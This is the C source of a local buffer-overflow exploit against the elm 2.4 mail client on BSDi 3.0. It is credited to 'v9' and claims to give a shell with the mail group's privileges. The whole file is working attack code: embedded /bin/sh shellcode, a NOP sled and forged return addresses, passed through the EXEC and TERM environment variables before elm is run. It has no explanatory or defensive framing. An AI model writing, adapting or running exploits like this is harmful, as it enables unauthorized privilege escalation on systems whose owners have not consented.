/* (BSDi)elm[v2.4] buffer overflow, by v9[v9@fakehalo.org].  this exploit
   yields egid/group=14(mail) on BSDi/3.0 systems with the elm package.
*/
#define PATH "/usr/contrib/bin/elm"     /* path to elm on BSDi/3.0. */
#define DEFAULT_OFFSET -3000            /* general offset, a lot of room. */
static char exec[]=
 "\xeb\x1f\x5e\x31\xc0\x89\x46\xf5\x88\x46\xfa\x89\x46\x0c" /* 14 characters. */
 "\x89\x76\x08\x50\x8d\x5e\x08\x53\x56\x56\xb0\x3b\x9a\xff" /* 14 characters. */
 "\xff\xff\xff\x07\xff\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e" /* 14 characters. */
 "\x2f\x73\x68\x00"; /* 4 characters; 46 characters total. */
long pointer(void){__asm__("movl %esp,%eax");}
int main(int argc,char **argv){
 char eip[64],buf[4096];
 int i,offset;
 long ret;
 printf("[ (BSDi)elm[v2.4]: buffer overflow, by: v9[v9@fakehalo.org]. ]\n");
 if(argc>1){offset=atoi(argv[1]);}
 else{offset=DEFAULT_OFFSET;}
 ret=(pointer()-offset);
 for(i=1;i<64;i+=4){*(long *)&eip[i]=ret;}
 eip[64]=0x0;
 for(i=0;i<(4096-strlen(exec)-strlen(eip));i++){*(buf+i)=0x90;}
 memcpy(buf+i,exec,strlen(exec));
 memcpy(buf,"EXEC=",5);putenv(buf);
 memcpy(eip,"TERM=",5);putenv(eip);
 printf("*** [data]: return address: 0x%lx, offset: %d.\n",ret,offset);
 if(execlp(PATH,"elm",0)){
  printf("*** [error]: could not execute %s successfully.\n",PATH);
  exit(1);
 }
}